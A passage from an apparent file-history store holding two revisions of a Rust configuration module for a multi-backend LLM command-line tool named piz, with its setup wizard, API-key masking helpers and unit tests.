assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "f3fbd8df5c2af0119c63d036cf656b9de6d886bd": {"t": 1785760769.3526108, "n": 17201, "h": "a68202636c92266c", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = dirs::home_dir().context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"')\n && value_part.ends_with('\"')\n && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::<Vec<_>>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "97dfb1a2cab4fd4f35b55bb319902b8bafddb7a0": {"t": 1785760770.694319, "n": 17239, "h": "40ee8df15cfc4005", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = dirs::home_dir().context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\", \"日本語\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language / 言語を選択\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n 2 => Lang::Ja,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"')\n && value_part.ends_with('\"')\n && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::<Vec<_>>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = 